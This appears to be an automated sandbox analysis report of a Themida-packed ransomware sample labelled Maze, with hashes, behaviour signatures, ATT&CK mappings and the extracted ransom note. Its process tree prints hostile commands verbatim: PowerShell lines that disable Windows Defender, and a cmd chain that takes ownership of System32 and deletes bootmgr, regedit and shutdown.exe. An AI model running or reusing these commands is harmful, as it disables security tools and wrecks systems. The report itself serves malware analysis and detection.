maze | 4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8

General

Target

b53415f6_lcvDB3iF4J.exe
Size

7.4MB
MD5

b53415f6d38ce4831cbf327daf5201b4
SHA1

778d6f976e10d201903c76adcd18f14e685a3704
SHA256

4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
SHA512

0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us (CobraLocker@mail2tor.com) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: f64dfn9pbhybaqfrh5dp65jrzcg@protonmail.com

Emails

CobraLocker@mail2tor.com

f64dfn9pbhybaqfrh5dp65jrzcg@protonmail.com

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion
Executes dropped EXE 1 IoCs

Processes:

VSSVC.exe

pid process

1800 VSSVC.exe

pid	process
1800	VSSVC.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

VSSVC.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\MeasureSelect.raw => C:\Users\Admin\Pictures\MeasureSelect.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\UnregisterMount.crw => C:\Users\Admin\Pictures\UnregisterMount.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\DenyUnregister.raw => C:\Users\Admin\Pictures\DenyUnregister.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\EnableSuspend.png => C:\Users\Admin\Pictures\EnableSuspend.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ExpandRegister.png => C:\Users\Admin\Pictures\ExpandRegister.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exetakeown.exe

pid process

984 takeown.exe
1072 icacls.exe
1188 takeown.exe
1616 icacls.exe
1760 takeown.exe

pid	process
984	takeown.exe
1072	icacls.exe
1188	takeown.exe
1616	icacls.exe
1760	takeown.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

b53415f6_lcvDB3iF4J.exeVSSVC.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe

Loads dropped DLL 1 IoCs

Processes:

b53415f6_lcvDB3iF4J.exe

pid process

1148 b53415f6_lcvDB3iF4J.exe
Modifies file permissions 1 TTPs 5 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exetakeown.exeicacls.exe

pid process

1188 takeown.exe
1616 icacls.exe
1760 takeown.exe
984 takeown.exe
1072 icacls.exe

pid	process
1148	b53415f6_lcvDB3iF4J.exe

pid	process
1188	takeown.exe
1616	icacls.exe
1760	takeown.exe
984	takeown.exe
1072	icacls.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1148-57-0x0000000000C50000-0x0000000000C51000-memory.dmp	themida
\Users\Admin\AppData\Local\Temp\VSSVC.exe	themida
C:\Users\Admin\AppData\Local\Temp\VSSVC.exe	themida
behavioral1/memory/1800-78-0x00000000003E0000-0x00000000003E1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

b53415f6_lcvDB3iF4J.exeVSSVC.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

b53415f6_lcvDB3iF4J.exeVSSVC.exe

pid process

1148 b53415f6_lcvDB3iF4J.exe
1800 VSSVC.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1820 powershell.exe
1172 powershell.exe
1640 powershell.exe
896 powershell.exe

pid	process
1148	b53415f6_lcvDB3iF4J.exe
1800	VSSVC.exe

pid	process
1820	powershell.exe
1172	powershell.exe
1640	powershell.exe
896	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

b53415f6_lcvDB3iF4J.exepowershell.exepowershell.exepowershell.exepowershell.exeVSSVC.exetakeown.exetakeown.exetakeown.exeAUDIODG.EXE

description	pid	process
Token: SeDebugPrivilege	1148	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	1148	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	1800	VSSVC.exe
Token: SeDebugPrivilege	1800	VSSVC.exe
Token: SeTakeOwnershipPrivilege	984	takeown.exe
Token: SeTakeOwnershipPrivilege	1188	takeown.exe
Token: SeTakeOwnershipPrivilege	1760	takeown.exe
Token: 33	1524	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1524	AUDIODG.EXE
Token: 33	1524	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1524	AUDIODG.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

b53415f6_lcvDB3iF4J.exeVSSVC.execmd.exe

description	pid	process	target process
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	powershell.exe
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	VSSVC.exe
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	VSSVC.exe
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	VSSVC.exe
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	VSSVC.exe
PID 1800 wrote to memory of 992	1800	VSSVC.exe	cmd.exe
PID 1800 wrote to memory of 992	1800	VSSVC.exe	cmd.exe
PID 1800 wrote to memory of 992	1800	VSSVC.exe	cmd.exe
PID 1800 wrote to memory of 992	1800	VSSVC.exe	cmd.exe
PID 992 wrote to memory of 984	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 984	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 984	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 984	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1072	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1072	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1072	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1072	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1188	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1188	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1188	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1188	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1616	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1616	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1616	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1616	992	cmd.exe	icacls.exe
PID 992 wrote to memory of 1760	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1760	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1760	992	cmd.exe	takeown.exe
PID 992 wrote to memory of 1760	992	cmd.exe	takeown.exe

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172

C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
3⤵
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:984

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /grant Admin:F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1072

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\drivers
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\drivers /grant Admin:F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1616

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\LogonUI.exe
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1176

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x148
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
MD5
e4f24d91d8e7290ffd6afc8aa01c6d63

SHA1
b552c6af33cc5a62379028687924406cba8ff74d

SHA256
5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

SHA512
ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
8a500ee774f88d8658df1207f45e2bad

SHA1
e5f6294e8c155d3cf215b63852c65c299af4d4cb

SHA256
45ba19f7d56009be5355dbb18b571e2c511347679ec4885b61c3a9f062ab591f

SHA512
d500803f0b798008d59720001362e7f1a79b44a4eb8d30741d8c7be0a7074cc4615d1c015f22caf6e926a7d41517332398edd294deefb04691b7f1f9282a2a2e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
8a500ee774f88d8658df1207f45e2bad

SHA1
e5f6294e8c155d3cf215b63852c65c299af4d4cb

SHA256
45ba19f7d56009be5355dbb18b571e2c511347679ec4885b61c3a9f062ab591f

SHA512
d500803f0b798008d59720001362e7f1a79b44a4eb8d30741d8c7be0a7074cc4615d1c015f22caf6e926a7d41517332398edd294deefb04691b7f1f9282a2a2e

Download Submit
\Users\Admin\AppData\Local\Temp\VSSVC.exe
MD5
e4f24d91d8e7290ffd6afc8aa01c6d63

SHA1
b552c6af33cc5a62379028687924406cba8ff74d

SHA256
5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

SHA512
ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

Download Submit
memory/896-77-0x00000000025C0000-0x000000000320A000-memory.dmp

Filesize
12.3MB

Download
memory/896-61-0x0000000000000000-mapping.dmp

Download
memory/896-81-0x00000000025C0000-0x000000000320A000-memory.dmp

Filesize
12.3MB

Download
memory/984-90-0x0000000000000000-mapping.dmp

Download
memory/992-89-0x0000000000000000-mapping.dmp

Download
memory/1072-91-0x0000000000000000-mapping.dmp

Download
memory/1148-54-0x00000000751A1000-0x00000000751A3000-memory.dmp

Filesize
8KB

Download
memory/1148-59-0x0000000005B40000-0x0000000005B41000-memory.dmp

Filesize
4KB

Download
memory/1148-57-0x0000000000C50000-0x0000000000C51000-memory.dmp

Filesize
4KB

Download
memory/1172-86-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1172-82-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1172-63-0x0000000000000000-mapping.dmp

Download
memory/1176-95-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download
memory/1188-92-0x0000000000000000-mapping.dmp

Download
memory/1616-93-0x0000000000000000-mapping.dmp

Download
memory/1640-85-0x00000000022C1000-0x00000000022C2000-memory.dmp

Filesize
4KB

Download
memory/1640-79-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/1640-88-0x00000000022C2000-0x00000000022C4000-memory.dmp

Filesize
8KB

Download
memory/1640-62-0x0000000000000000-mapping.dmp

Download
memory/1760-94-0x0000000000000000-mapping.dmp

Download
memory/1800-69-0x0000000000000000-mapping.dmp

Download
memory/1800-83-0x0000000005610000-0x0000000005611000-memory.dmp

Filesize
4KB

Download
memory/1800-78-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/1820-87-0x00000000023C2000-0x00000000023C4000-memory.dmp

Filesize
8KB

Download
memory/1820-60-0x0000000000000000-mapping.dmp

Download
memory/1820-84-0x00000000023C1000-0x00000000023C2000-memory.dmp

Filesize
4KB

Download
memory/1820-76-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads